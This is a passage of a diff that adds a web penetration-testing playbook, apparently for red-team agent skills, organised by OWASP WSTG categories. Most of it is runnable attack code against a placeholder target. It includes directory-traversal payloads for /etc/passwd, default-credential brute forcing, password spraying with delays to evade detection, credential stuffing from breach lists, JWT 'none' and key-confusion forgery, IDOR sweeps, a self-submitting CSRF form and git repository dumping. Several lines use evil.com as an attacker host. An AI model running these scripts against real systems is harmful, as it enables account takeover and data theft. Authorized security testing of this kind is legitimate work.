for ext in php asp aspx jsp cfm cgi pl py rb; do
|
|
240
|
+
code=$(curl -sk -o /dev/null -w "%{http_code}" "$TARGET/test.$ext")
|
|
241
|
+
echo "$ext: $code"
|
|
242
|
+
done
|
|
243
|
+
|
|
244
|
+
# WSTG-CONF-04: Backup and Unreferenced Files
|
|
245
|
+
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt \
|
|
246
|
+
-u "$TARGET/FUZZ" -mc 200,301,302,403 \
|
|
247
|
+
-o "$OUT_DIR/scans/ffuf-common.json" -of json
|
|
248
|
+
|
|
249
|
+
# WSTG-CONF-05: Enumerate Infrastructure and Application Admin Interfaces
|
|
250
|
+
for path in admin administrator wp-admin panel control manager cpanel phpmyadmin; do
|
|
251
|
+
code=$(curl -sk -o /dev/null -w "%{http_code}" "$TARGET/$path")
|
|
252
|
+
[[ $code != "404" ]] && echo "[$code] $TARGET/$path"
|
|
253
|
+
done
|
|
254
|
+
```
|
|
255
|
+
|
|
256
|
+
### INTERMEDIATE Steps
|
|
257
|
+
|
|
258
|
+
```bash
|
|
259
|
+
# WSTG-CONF-06: HTTP Methods
|
|
260
|
+
for method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE CONNECT; do
|
|
261
|
+
echo -n "$method: "
|
|
262
|
+
curl -sk -X "$method" "$TARGET" -I | head -1
|
|
263
|
+
done
|
|
264
|
+
|
|
265
|
+
# WSTG-CONF-07: HTTP Strict Transport Security
|
|
266
|
+
curl -sk -I "https://target.example.com" | grep -i "strict-transport"
|
|
267
|
+
|
|
268
|
+
# Check security headers comprehensively
|
|
269
|
+
python3 - << 'EOF'
|
|
270
|
+
import requests
|
|
271
|
+
headers_to_check = [
|
|
272
|
+
'Strict-Transport-Security',
|
|
273
|
+
'Content-Security-Policy',
|
|
274
|
+
'X-Frame-Options',
|
|
275
|
+
'X-Content-Type-Options',
|
|
276
|
+
'Referrer-Policy',
|
|
277
|
+
'Permissions-Policy',
|
|
278
|
+
'X-XSS-Protection',
|
|
279
|
+
'Cross-Origin-Embedder-Policy',
|
|
280
|
+
'Cross-Origin-Opener-Policy',
|
|
281
|
+
'Cross-Origin-Resource-Policy',
|
|
282
|
+
]
|
|
283
|
+
r = requests.get('https://target.example.com', verify=False)
|
|
284
|
+
for h in headers_to_check:
|
|
285
|
+
val = r.headers.get(h, 'MISSING')
|
|
286
|
+
status = 'OK' if val != 'MISSING' else 'MISSING'
|
|
287
|
+
print(f"[{status}] {h}: {val}")
|
|
288
|
+
EOF
|
|
289
|
+
|
|
290
|
+
# WSTG-CONF-08: RIA Cross Domain Policy
|
|
291
|
+
curl -sk "$TARGET/crossdomain.xml"
|
|
292
|
+
# Dangerous: <allow-access-from domain="*"/>
|
|
293
|
+
|
|
294
|
+
# WSTG-CONF-09: File Permission
|
|
295
|
+
# Check for sensitive files
|
|
296
|
+
for f in .DS_Store .svn/entries .git/config .hg/hgrc CVS/Entries \
|
|
297
|
+
.htaccess .htpasswd web.config WEB-INF/web.xml; do
|
|
298
|
+
code=$(curl -sk -o /dev/null -w "%{http_code}" "$TARGET/$f")
|
|
299
|
+
[[ $code == "200" ]] && echo "[FOUND] $TARGET/$f"
|
|
300
|
+
done
|
|
301
|
+
|
|
302
|
+
# Git repository exposure
|
|
303
|
+
python3 - << 'EOF'
|
|
304
|
+
import requests
|
|
305
|
+
git_files = ['.git/HEAD', '.git/config', '.git/COMMIT_EDITMSG',
|
|
306
|
+
'.git/index', '.git/packed-refs', '.git/refs/heads/master']
|
|
307
|
+
base = 'https://target.example.com'
|
|
308
|
+
for f in git_files:
|
|
309
|
+
r = requests.get(f'{base}/{f}', verify=False)
|
|
310
|
+
if r.status_code == 200:
|
|
311
|
+
print(f'[EXPOSED] {f}')
|
|
312
|
+
print(r.text[:200])
|
|
313
|
+
EOF
|
|
314
|
+
|
|
315
|
+
# If .git exposed, use git-dumper
|
|
316
|
+
# pip3 install git-dumper
|
|
317
|
+
git-dumper https://target.example.com/.git "$OUT_DIR/exploits/git-dump"
|
|
318
|
+
```
|
|
319
|
+
|
|
320
|
+
### ADVANCED Steps
|
|
321
|
+
|
|
322
|
+
```bash
|
|
323
|
+
# Cloud storage enumeration
|
|
324
|
+
# S3 buckets
|
|
325
|
+
for bucket in target targetapp target-assets target-backup target-prod target-dev; do
|
|
326
|
+
aws s3 ls s3://$bucket 2>/dev/null && echo "[OPEN] s3://$bucket"
|
|
327
|
+
curl -sk "https://$bucket.s3.amazonaws.com" | grep -i "listbucketresult\|accessdenied"
|
|
328
|
+
done
|
|
329
|
+
|
|
330
|
+
# Azure blobs
|
|
331
|
+
for container in target backup assets media static; do
|
|
332
|
+
curl -sk "https://target.blob.core.windows.net/$container?restype=container&comp=list"
|
|
333
|
+
done
|
|
334
|
+
|
|
335
|
+
# Nuclei config management templates
|
|
336
|
+
nuclei -u "$TARGET" -t misconfiguration/ -t exposures/ \
|
|
337
|
+
-o "$OUT_DIR/scans/nuclei-config.txt" -severity medium,high,critical
|
|
338
|
+
|
|
339
|
+
# Check CORS misconfiguration
|
|
340
|
+
python3 - << 'EOF'
|
|
341
|
+
import requests
|
|
342
|
+
origins = [
|
|
343
|
+
'https://evil.com',
|
|
344
|
+
'https://target.example.com.evil.com',
|
|
345
|
+
'null',
|
|
346
|
+
'https://notarget.example.com',
|
|
347
|
+
]
|
|
348
|
+
target = 'https://target.example.com/api/user'
|
|
349
|
+
for origin in origins:
|
|
350
|
+
r = requests.options(target, headers={'Origin': origin}, verify=False)
|
|
351
|
+
acao = r.headers.get('Access-Control-Allow-Origin', '')
|
|
352
|
+
acac = r.headers.get('Access-Control-Allow-Credentials', '')
|
|
353
|
+
if acao:
|
|
354
|
+
print(f'Origin: {origin}')
|
|
355
|
+
print(f' ACAO: {acao}, ACAC: {acac}')
|
|
356
|
+
EOF
|
|
357
|
+
```
|
|
358
|
+
|
|
359
|
+
---
|
|
360
|
+
|
|
361
|
+
## Category 3: Identity Management (WSTG-IDNT)
|
|
362
|
+
|
|
363
|
+
### BEGINNER Steps
|
|
364
|
+
|
|
365
|
+
```bash
|
|
366
|
+
# WSTG-IDNT-01: Test Role Definitions
|
|
367
|
+
# Manual: document all roles visible in app (admin, user, moderator, etc.)
|
|
368
|
+
# Check URL patterns:
|
|
369
|
+
# /admin/* - admin role
|
|
370
|
+
# /user/* - standard user
|
|
371
|
+
# /api/v1/admin/* - API admin
|
|
372
|
+
|
|
373
|
+
# WSTG-IDNT-02: Test User Registration Process
|
|
374
|
+
# Check for:
|
|
375
|
+
# - Duplicate username registration
|
|
376
|
+
# - Email enumeration during registration
|
|
377
|
+
# - Weak password policies
|
|
378
|
+
# - Account activation bypass
|
|
379
|
+
curl -sk -X POST "$TARGET/api/register" \
|
|
380
|
+
-H "Content-Type: application/json" \
|
|
381
|
+
-d '{"username":"admin","email":"test@test.com","password":"Password1!"}' | python3 -m json.tool
|
|
382
|
+
|
|
383
|
+
# WSTG-IDNT-04: Test Account Enumeration
|
|
384
|
+
# Timing-based enumeration
|
|
385
|
+
python3 - << 'EOF'
|
|
386
|
+
import requests, time
|
|
387
|
+
target = 'https://target.example.com/api/forgot-password'
|
|
388
|
+
usernames = ['admin', 'administrator', 'test', 'user', 'support', 'nonexistent_xyz']
|
|
389
|
+
for user in usernames:
|
|
390
|
+
start = time.time()
|
|
391
|
+
r = requests.post(target, json={'email': f'{user}@target.example.com'}, verify=False)
|
|
392
|
+
elapsed = time.time() - start
|
|
393
|
+
print(f'{user}: {r.status_code} - {elapsed:.3f}s - {r.text[:100]}')
|
|
394
|
+
EOF
|
|
395
|
+
```
|
|
396
|
+
|
|
397
|
+
### INTERMEDIATE Steps
|
|
398
|
+
|
|
399
|
+
```bash
|
|
400
|
+
# Username enumeration via response differences
|
|
401
|
+
python3 - << 'EOF'
|
|
402
|
+
import requests
|
|
403
|
+
target = 'https://target.example.com/login'
|
|
404
|
+
# Compare response for valid vs invalid user
|
|
405
|
+
valid_user = {'username': 'admin', 'password': 'wrongpassword'}
|
|
406
|
+
invalid_user = {'username': 'nonexistentxyz123', 'password': 'wrongpassword'}
|
|
407
|
+
|
|
408
|
+
r1 = requests.post(target, data=valid_user, verify=False, allow_redirects=False)
|
|
409
|
+
r2 = requests.post(target, data=invalid_user, verify=False, allow_redirects=False)
|
|
410
|
+
|
|
411
|
+
print(f'Valid user response: {r1.status_code} len={len(r1.text)}')
|
|
412
|
+
print(f'Invalid user response: {r2.status_code} len={len(r2.text)}')
|
|
413
|
+
print(f'Same response: {r1.text == r2.text}')
|
|
414
|
+
# If different -> username enumeration possible
|
|
415
|
+
EOF
|
|
416
|
+
|
|
417
|
+
# Wordlist-based user enumeration with ffuf
|
|
418
|
+
ffuf -w /usr/share/wordlists/SecLists/Usernames/top-usernames-shortlist.txt \
|
|
419
|
+
-u "$TARGET/api/reset-password" \
|
|
420
|
+
-X POST -H "Content-Type: application/json" \
|
|
421
|
+
-d '{"email":"FUZZ@target.example.com"}' \
|
|
422
|
+
-mr "email sent|found|success" \
|
|
423
|
+
-o "$OUT_DIR/scans/user-enum.json"
|
|
424
|
+
```
|
|
425
|
+
|
|
426
|
+
---
|
|
427
|
+
|
|
428
|
+
## Category 4: Authentication Testing (WSTG-ATHN)
|
|
429
|
+
|
|
430
|
+
> **Route to**: `rt-exploit-auth` for deep exploitation
|
|
431
|
+
|
|
432
|
+
### BEGINNER Steps
|
|
433
|
+
|
|
434
|
+
```bash
|
|
435
|
+
# WSTG-ATHN-01: Test Credentials Transported over Encrypted Channel
|
|
436
|
+
# Check for HTTP login form
|
|
437
|
+
curl -sk -L "http://target.example.com/login" | grep -i "form\|action\|password"
|
|
438
|
+
# Confirm no mixed content: https page with http form action
|
|
439
|
+
|
|
440
|
+
# WSTG-ATHN-02: Test Default Credentials
|
|
441
|
+
python3 - << 'EOF'
|
|
442
|
+
import requests
|
|
443
|
+
target = 'https://target.example.com/login'
|
|
444
|
+
creds = [
|
|
445
|
+
('admin', 'admin'), ('admin', 'password'), ('admin', 'admin123'),
|
|
446
|
+
('admin', 'Password1'), ('administrator', 'administrator'),
|
|
447
|
+
('root', 'root'), ('test', 'test'), ('guest', 'guest'),
|
|
448
|
+
('admin', ''), ('', ''), ('admin', '1234'),
|
|
449
|
+
]
|
|
450
|
+
for user, pwd in creds:
|
|
451
|
+
r = requests.post(target, data={'username': user, 'password': pwd},
|
|
452
|
+
verify=False, allow_redirects=False)
|
|
453
|
+
if r.status_code in [200, 302] and 'invalid' not in r.text.lower():
|
|
454
|
+
print(f'[POTENTIAL HIT] {user}:{pwd} -> {r.status_code}')
|
|
455
|
+
EOF
|
|
456
|
+
|
|
457
|
+
# WSTG-ATHN-03: Test Account Lockout
|
|
458
|
+
python3 - << 'EOF'
|
|
459
|
+
import requests
|
|
460
|
+
target = 'https://target.example.com/login'
|
|
461
|
+
for i in range(15):
|
|
462
|
+
r = requests.post(target, data={'username': 'admin', 'password': f'wrong{i}'},
|
|
463
|
+
verify=False)
|
|
464
|
+
print(f'Attempt {i+1}: {r.status_code} - locked: {"lock" in r.text.lower()}')
|
|
465
|
+
EOF
|
|
466
|
+
```
|
|
467
|
+
|
|
468
|
+
### INTERMEDIATE Steps
|
|
469
|
+
|
|
470
|
+
```bash
|
|
471
|
+
# WSTG-ATHN-06: Test Browser Cache for Password
|
|
472
|
+
# Check response headers for login/sensitive pages
|
|
473
|
+
curl -sk -I "$TARGET/account/profile" -b "session=YOURSESSIONCOOKIE" | \
|
|
474
|
+
grep -i "cache-control\|pragma\|expires"
|
|
475
|
+
|
|
476
|
+
# WSTG-ATHN-07: Test Password Policy
|
|
477
|
+
python3 - << 'EOF'
|
|
478
|
+
import requests
|
|
479
|
+
target = 'https://target.example.com/api/register'
|
|
480
|
+
# Test various weak passwords
|
|
481
|
+
weak_passwords = ['1', '12', '123', 'abc', 'password', 'P@ss', '12345678']
|
|
482
|
+
for pwd in weak_passwords:
|
|
483
|
+
r = requests.post(target, json={'username': 'testuser_xyz',
|
|
484
|
+
'password': pwd,
|
|
485
|
+
'email': 'test@test.com'}, verify=False)
|
|
486
|
+
print(f'{pwd!r}: {r.status_code} - {r.text[:80]}')
|
|
487
|
+
EOF
|
|
488
|
+
|
|
489
|
+
# WSTG-ATHN-09: Test Password Reset
|
|
490
|
+
# 1. Capture reset token format
|
|
491
|
+
# 2. Check expiry
|
|
492
|
+
# 3. Check reusability
|
|
493
|
+
# 4. Check host header injection
|
|
494
|
+
curl -sk -X POST "$TARGET/forgot-password" \
|
|
495
|
+
-H "Host: evil.com" \
|
|
496
|
+
-d "email=victim@target.example.com"
|
|
497
|
+
# If reset link sent with evil.com as base -> host header injection
|
|
498
|
+
|
|
499
|
+
# JWT Testing
|
|
500
|
+
# Decode JWT
|
|
501
|
+
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
|
|
502
|
+
echo $TOKEN | cut -d. -f1 | base64 -d 2>/dev/null | python3 -m json.tool
|
|
503
|
+
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
|
|
504
|
+
|
|
505
|
+
# JWT none algorithm attack
|
|
506
|
+
python3 - << 'EOF'
|
|
507
|
+
import base64, json
|
|
508
|
+
header = {"alg": "none", "typ": "JWT"}
|
|
509
|
+
payload = {"sub": "1", "name": "admin", "role": "admin", "iat": 9999999999}
|
|
510
|
+
def b64url(data):
|
|
511
|
+
return base64.urlsafe_b64encode(json.dumps(data).encode()).rstrip(b'=').decode()
|
|
512
|
+
token = f"{b64url(header)}.{b64url(payload)}."
|
|
513
|
+
print(f"None-alg token: {token}")
|
|
514
|
+
EOF
|
|
515
|
+
```
|
|
516
|
+
|
|
517
|
+
### ADVANCED Steps
|
|
518
|
+
|
|
519
|
+
```bash
|
|
520
|
+
# JWT Secret Brute Force
|
|
521
|
+
# pip3 install jwt-tool
|
|
522
|
+
python3 jwt_tool.py "$TOKEN" -C -d /usr/share/wordlists/rockyou.txt
|
|
523
|
+
|
|
524
|
+
# hashcat JWT crack
|
|
525
|
+
hashcat -a 0 -m 16500 "$TOKEN" /usr/share/wordlists/rockyou.txt
|
|
526
|
+
|
|
527
|
+
# OAuth2 Testing
|
|
528
|
+
# 1. Authorization code interception
|
|
529
|
+
# Modify redirect_uri to attacker-controlled domain
|
|
530
|
+
# 2. CSRF on OAuth flow (missing state parameter)
|
|
531
|
+
# 3. Open redirect in redirect_uri
|
|
532
|
+
curl -sk "$TARGET/oauth/authorize?client_id=app&redirect_uri=https://evil.com&response_type=code&state="
|
|
533
|
+
|
|
534
|
+
# SAML Testing
|
|
535
|
+
# Install: pip3 install saml2
|
|
536
|
+
# Check for XML signature wrapping
|
|
537
|
+
# Check for XXE in SAML assertions
|
|
538
|
+
# Decode SAML response:
|
|
539
|
+
echo "BASE64_SAML_RESPONSE" | base64 -d | xmllint --format -
|
|
540
|
+
|
|
541
|
+
# Multi-factor authentication bypass
|
|
542
|
+
# 1. Response manipulation (change 401 to 200)
|
|
543
|
+
# 2. Skip MFA endpoint entirely
|
|
544
|
+
# 3. OTP brute force (if no lockout)
|
|
545
|
+
python3 - << 'EOF'
|
|
546
|
+
import requests
|
|
547
|
+
session = requests.Session()
|
|
548
|
+
# Login step 1
|
|
549
|
+
r1 = session.post('https://target.example.com/login',
|
|
550
|
+
data={'user': 'admin', 'pass': 'password'}, verify=False)
|
|
551
|
+
# Skip MFA - try to access protected resource directly
|
|
552
|
+
r2 = session.get('https://target.example.com/dashboard', verify=False)
|
|
553
|
+
print(f'MFA bypass: {r2.status_code} - {len(r2.text)} bytes')
|
|
554
|
+
EOF
|
|
555
|
+
```
|
|
556
|
+
|
|
557
|
+
### EXPERT Steps
|
|
558
|
+
|
|
559
|
+
```bash
|
|
560
|
+
# Password spraying with intelligent delay to avoid lockout
|
|
561
|
+
python3 - << 'EOF'
|
|
562
|
+
import requests, time, random
|
|
563
|
+
target = 'https://target.example.com/api/auth'
|
|
564
|
+
# One password across many users (avoids per-account lockout)
|
|
565
|
+
users = open('/tmp/users.txt').read().splitlines()
|
|
566
|
+
password = 'Winter2024!' # Seasonal password common in enterprises
|
|
567
|
+
results = []
|
|
568
|
+
for user in users:
|
|
569
|
+
r = requests.post(target, json={'username': user, 'password': password},
|
|
570
|
+
verify=False, timeout=10)
|
|
571
|
+
if r.status_code == 200 or 'token' in r.text.lower():
|
|
572
|
+
results.append(f'HIT: {user}:{password}')
|
|
573
|
+
print(results[-1])
|
|
574
|
+
# Random delay between 30-90s to avoid detection
|
|
575
|
+
time.sleep(random.randint(30, 90))
|
|
576
|
+
print('\n'.join(results))
|
|
577
|
+
EOF
|
|
578
|
+
|
|
579
|
+
# Credential stuffing with known breach databases
|
|
580
|
+
# Using valid breach data (authorized engagement only)
|
|
581
|
+
python3 - << 'EOF'
|
|
582
|
+
import requests, concurrent.futures
|
|
583
|
+
target = 'https://target.example.com/login'
|
|
584
|
+
creds = [line.strip().split(':') for line in open('/tmp/breach-creds.txt') if ':' in line]
|
|
585
|
+
|
|
586
|
+
def try_cred(user_pass):
|
|
587
|
+
user, pwd = user_pass
|
|
588
|
+
try:
|
|
589
|
+
r = requests.post(target, data={'username': user, 'password': pwd},
|
|
590
|
+
verify=False, timeout=5, allow_redirects=False)
|
|
591
|
+
if r.status_code in [200, 302] and 'dashboard' in r.headers.get('Location', ''):
|
|
592
|
+
return f'HIT: {user}:{pwd}'
|
|
593
|
+
except:
|
|
594
|
+
pass
|
|
595
|
+
return None
|
|
596
|
+
|
|
597
|
+
with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:
|
|
598
|
+
results = list(executor.map(try_cred, creds))
|
|
599
|
+
hits = [r for r in results if r]
|
|
600
|
+
print('\n'.join(hits))
|
|
601
|
+
EOF
|
|
602
|
+
|
|
603
|
+
# Kerberoasting web-integrated auth (Windows environments)
|
|
604
|
+
# When app uses Windows auth / negotiate
|
|
605
|
+
curl -sk --negotiate -u : "$TARGET/api/data" -v 2>&1 | grep -i "www-authenticate\|authorization"
|
|
606
|
+
|
|
607
|
+
# Race condition on token validation
|
|
608
|
+
python3 - << 'EOF'
|
|
609
|
+
import requests, threading, time
|
|
610
|
+
target = 'https://target.example.com/api/verify-email'
|
|
611
|
+
token = 'VALID_ONE_TIME_TOKEN'
|
|
612
|
+
results = []
|
|
613
|
+
def use_token():
|
|
614
|
+
r = requests.post(target, json={'token': token}, verify=False)
|
|
615
|
+
results.append((time.time(), r.status_code, r.text[:50]))
|
|
616
|
+
|
|
617
|
+
threads = [threading.Thread(target=use_token) for _ in range(20)]
|
|
618
|
+
start = time.time()
|
|
619
|
+
for t in threads:
|
|
620
|
+
t.start()
|
|
621
|
+
for t in threads:
|
|
622
|
+
t.join()
|
|
623
|
+
for ts, code, text in results:
|
|
624
|
+
print(f'{ts-start:.3f}s: {code} - {text}')
|
|
625
|
+
# If multiple 200 responses -> race condition in token validation
|
|
626
|
+
EOF
|
|
627
|
+
```
|
|
628
|
+
|
|
629
|
+
---
|
|
630
|
+
|
|
631
|
+
## Category 5: Authorization Testing (WSTG-ATHZ)
|
|
632
|
+
|
|
633
|
+
> **Route to**: `rt-exploit-idor` for deep IDOR/BOLA exploitation
|
|
634
|
+
|
|
635
|
+
### BEGINNER Steps
|
|
636
|
+
|
|
637
|
+
```bash
|
|
638
|
+
# WSTG-ATHZ-01: Directory Traversal
|
|
639
|
+
for payload in \
|
|
640
|
+
'../etc/passwd' \
|
|
641
|
+
'../../etc/passwd' \
|
|
642
|
+
'../../../etc/passwd' \
|
|
643
|
+
'....//....//etc/passwd' \
|
|
644
|
+
'%2e%2e%2f%2e%2e%2fetc%2fpasswd' \
|
|
645
|
+
'..%252f..%252fetc%252fpasswd' \
|
|
646
|
+
'%252e%252e%252fetc%252fpasswd'; do
|
|
647
|
+
result=$(curl -sk "$TARGET/download?file=$payload" | head -3)
|
|
648
|
+
[[ $result == *"root:"* ]] && echo "[VULN] payload: $payload"
|
|
649
|
+
done
|
|
650
|
+
|
|
651
|
+
# WSTG-ATHZ-02: Test for Bypassing Authorization Schema
|
|
652
|
+
# Access admin endpoints as low-priv user
|
|
653
|
+
# Setup: get session token for user A (low priv) and user B (high priv)
|
|
654
|
+
USER_A_TOKEN="USER_A_SESSION_TOKEN"
|
|
655
|
+
ADMIN_ENDPOINT="$TARGET/api/admin/users"
|
|
656
|
+
curl -sk "$ADMIN_ENDPOINT" -H "Authorization: Bearer $USER_A_TOKEN"
|
|
657
|
+
|
|
658
|
+
# WSTG-ATHZ-03: IDOR - Horizontal privilege escalation
|
|
659
|
+
# Change ID in URL/body to another user's ID
|
|
660
|
+
curl -sk "$TARGET/api/users/1001/profile" -H "Authorization: Bearer $USER_A_TOKEN"
|
|
661
|
+
curl -sk "$TARGET/api/users/1002/profile" -H "Authorization: Bearer $USER_A_TOKEN"
|
|
662
|
+
curl -sk "$TARGET/api/orders/ORDER_ID_OF_OTHER_USER" -H "Authorization: Bearer $USER_A_TOKEN"
|
|
663
|
+
```
|
|
664
|
+
|
|
665
|
+
### INTERMEDIATE Steps
|
|
666
|
+
|
|
667
|
+
```bash
|
|
668
|
+
# Systematic IDOR testing
|
|
669
|
+
python3 - << 'EOF'
|
|
670
|
+
import requests
|
|
671
|
+
target_base = 'https://target.example.com/api/users'
|
|
672
|
+
token = 'YOUR_LOW_PRIV_TOKEN'
|
|
673
|
+
headers = {'Authorization': f'Bearer {token}'}
|
|
674
|
+
your_id = 1042
|
|
675
|
+
|
|
676
|
+
for user_id in range(1, 2000):
|
|
677
|
+
if user_id == your_id:
|
|
678
|
+
continue
|
|
679
|
+
r = requests.get(f'{target_base}/{user_id}', headers=headers, verify=False)
|
|
680
|
+
if r.status_code == 200:
|
|
681
|
+
data = r.json()
|
|
682
|
+
print(f'[IDOR] ID {user_id}: {data.get("email", "")}, {data.get("name", "")}')
|
|
683
|
+
EOF
|
|
684
|
+
|
|
685
|
+
# HTTP method override for authorization bypass
|
|
686
|
+
# Some proxies/apps honor X-HTTP-Method-Override
|
|
687
|
+
curl -sk "$TARGET/api/admin/delete-user" \
|
|
688
|
+
-X POST \
|
|
689
|
+
-H "X-HTTP-Method-Override: DELETE" \
|
|
690
|
+
-H "Authorization: Bearer $USER_A_TOKEN" \
|
|
691
|
+
-d '{"user_id": 9999}'
|
|
692
|
+
|
|
693
|
+
# Path traversal in authorization
|
|
694
|
+
# /api/user/self/profile -> /api/user/../admin/profile
|
|
695
|
+
for path in \
|
|
696
|
+
"self/../../admin/config" \
|
|
697
|
+
"profile/../../admin/users" \
|
|
698
|
+
"data/%2e%2e/%2e%2e/admin"; do
|
|
699
|
+
curl -sk "$TARGET/api/user/$path" -H "Authorization: Bearer $USER_A_TOKEN"
|
|
700
|
+
done
|
|
701
|
+
```
|
|
702
|
+
|
|
703
|
+
### ADVANCED Steps
|
|
704
|
+
|
|
705
|
+
```bash
|
|
706
|
+
# Mass assignment / object property injection
|
|
707
|
+
# If app uses user-supplied JSON to update user object
|
|
708
|
+
curl -sk -X PATCH "$TARGET/api/users/profile" \
|
|
709
|
+
-H "Authorization: Bearer $USER_A_TOKEN" \
|
|
710
|
+
-H "Content-Type: application/json" \
|
|
711
|
+
-d '{"name":"attacker","email":"attacker@evil.com","role":"admin","is_admin":true,"account_type":"premium"}'
|
|
712
|
+
|
|
713
|
+
# Parameter pollution for authz bypass
|
|
714
|
+
curl -sk "$TARGET/api/transfer?to=victim&amount=100&to=attacker"
|
|
715
|
+
|
|
716
|
+
# GraphQL authorization bypass
|
|
717
|
+
curl -sk -X POST "$TARGET/graphql" \
|
|
718
|
+
-H "Content-Type: application/json" \
|
|
719
|
+
-H "Authorization: Bearer $USER_A_TOKEN" \
|
|
720
|
+
-d '{"query":"{ adminUsers { id email role } }"}'
|
|
721
|
+
|
|
722
|
+
# Introspection + field-level auth bypass
|
|
723
|
+
curl -sk -X POST "$TARGET/graphql" \
|
|
724
|
+
-H "Content-Type: application/json" \
|
|
725
|
+
-d '{"query":"{ __schema { queryType { fields { name } } } }"}'
|
|
726
|
+
```
|
|
727
|
+
|
|
728
|
+
---
|
|
729
|
+
|
|
730
|
+
## Category 6: Session Management (WSTG-SESS)
|
|
731
|
+
|
|
732
|
+
### BEGINNER Steps
|
|
733
|
+
|
|
734
|
+
```bash
|
|
735
|
+
# WSTG-SESS-01: Cookie attributes
|
|
736
|
+
curl -sk -I "$TARGET/login" | grep -i "set-cookie"
|
|
737
|
+
# Check for: Secure, HttpOnly, SameSite flags
|
|
738
|
+
# Dangerous: Set-Cookie: session=abc123; Path=/
|
|
739
|
+
# Safe: Set-Cookie: session=abc123; Path=/; Secure; HttpOnly; SameSite=Strict
|
|
740
|
+
|
|
741
|
+
# WSTG-SESS-02: Cookie entropy analysis
|
|
742
|
+
python3 - << 'EOF'
|
|
743
|
+
import math, base64, binascii
|
|
744
|
+
|
|
745
|
+
def entropy(s):
|
|
746
|
+
prob = {c: s.count(c)/len(s) for c in set(s)}
|
|
747
|
+
return -sum(p * math.log2(p) for p in prob.values())
|
|
748
|
+
|
|
749
|
+
tokens = [
|
|
750
|
+
'abc123', # weak
|
|
751
|
+
'a1b2c3d4e5f6g7h8i9j0', # medium
|
|
752
|
+
'eyJhbGciOiJIUzI1NiJ9', # base64 JWT
|
|
753
|
+
]
|
|
754
|
+
for t in tokens:
|
|
755
|
+
e = entropy(t)
|
|
756
|
+
print(f'Token: {t[:20]} | Entropy: {e:.2f} | Strength: {"WEAK" if e < 3.5 else "OK"}')
|
|
757
|
+
EOF
|
|
758
|
+
|
|
759
|
+
# WSTG-SESS-06: Session Fixation
|
|
760
|
+
# 1. Get unauthenticated session ID
|
|
761
|
+
# 2. Login with that session ID
|
|
762
|
+
# 3. Check if session ID changes after login
|
|
763
|
+
SESSION_BEFORE=$(curl -sk -c /tmp/cookies.txt "$TARGET/login" && grep -i "session" /tmp/cookies.txt | awk '{print $NF}')
|
|
764
|
+
curl -sk -X POST "$TARGET/login" -b /tmp/cookies.txt -d "user=admin&pass=password" -c /tmp/cookies-after.txt
|
|
765
|
+
SESSION_AFTER=$(grep -i "session" /tmp/cookies-after.txt | awk '{print $NF}')
|
|
766
|
+
[[ "$SESSION_BEFORE" == "$SESSION_AFTER" ]] && echo "[VULN] Session fixation: session ID not regenerated after login"
|
|
767
|
+
```
|
|
768
|
+
|
|
769
|
+
### INTERMEDIATE Steps
|
|
770
|
+
|
|
771
|
+
```bash
|
|
772
|
+
# WSTG-SESS-04: Session Token Predictability
|
|
773
|
+
python3 - << 'EOF'
|
|
774
|
+
import requests, time
|
|
775
|
+
target = 'https://target.example.com/login'
|
|
776
|
+
tokens = []
|
|
777
|
+
for i in range(20):
|
|
778
|
+
r = requests.post(target, data={'user': f'test{i}@test.com', 'pass': 'Password1!'},
|
|
779
|
+
verify=False)
|
|
780
|
+
# Extract session token from response
|
|
781
|
+
token = r.cookies.get('session') or r.headers.get('Set-Cookie', '')
|
|
782
|
+
tokens.append(token)
|
|
783
|
+
print(f'Token {i}: {token}')
|
|
784
|
+
# Manually inspect for sequential patterns, timestamps, etc.
|
|
785
|
+
EOF
|
|
786
|
+
|
|
787
|
+
# CSRF Testing
|
|
788
|
+
# WSTG-SESS-05: Check for CSRF token on state-changing actions
|
|
789
|
+
curl -sk "$TARGET/account/settings" -b "session=VALID_SESSION" | grep -i "csrf\|_token\|xsrf"
|
|
790
|
+
# Try request without CSRF token
|
|
791
|
+
curl -sk -X POST "$TARGET/account/change-email" \
|
|
792
|
+
-b "session=VALID_SESSION" \
|
|
793
|
+
-d "email=attacker@evil.com"
|
|
794
|
+
# If successful -> CSRF vulnerability
|
|
795
|
+
|
|
796
|
+
# SameSite cookie bypass via top-level navigation
|
|
797
|
+
# Craft PoC:
|
|
798
|
+
cat > /tmp/csrf-poc.html << 'EOF'
|
|
799
|
+
<html>
|
|
800
|
+
<body>
|
|
801
|
+
<form action="https://target.example.com/account/change-email" method="POST">
|
|
802
|
+
<input type="hidden" name="email" value="attacker@evil.com">
|
|
803
|
+
<input type="submit" value="Click me">
|
|
804
|
+
</form>
|
|
805
|
+
<script>document.forms[0].submit();</script>
|
|
806
|
+
</body>
|
|
807
|
+
</html>
|
|
808
|
+
EOF
|
|
809
|
+
```
|
|
810
|
+
|
|
811
|
+
### ADVANCED Steps
|
|
812
|
+
|
|
813
|
+
```bash
|
|
814
|
+
# Session puzzling / session variable overloading
|
|
815
|
+
# Use same session variable for multiple purposes
|
|
816
|
+
# 1. Start password reset (sets session['user'] = victim@example.com)
|
|
817
|
+
# 2. Before using reset link, register new account
|
|
818
|
+
# 3. See if reset completes for victim's account
|
|
819
|
+
|
|
820
|
+
# Cookie tossing attack (subdomain cookie injection)
|
|
821
|
+
# If subdomain can set cookies for parent domain
|
|
822
|
+
# Inject: document.cookie = "session=ATTACKER_VALUE; domain=.target.example.com; path=/"
|
|
823
|
+
curl -sk "https://evil.target.example.com/set-cookie"
|
|
824
|
+
# Check if attacker's cookie overwrites victim's in login flow
|
|
825
|
+
|
|
826
|
+
# JWT session confusion
|
|
827
|
+
python3 - << 'EOF'
|
|
828
|
+
import jwt, json, base64
|
|
829
|
+
# RS256 -> HS256 confusion attack
|
|
830
|
+
# Get public key from /jwks.json or cert
|
|
831
|
+
r_pubkey = open('/tmp/target_pubkey.pem').read()
|
|
832
|
+
# Forge token signed with public key using HS256
|
|
833
|
+
payload = {"sub": "1", "role": "admin", "iat": 9999999999}
|
|
834
|
+
# Sign using public key as HMAC secret
|
|
835
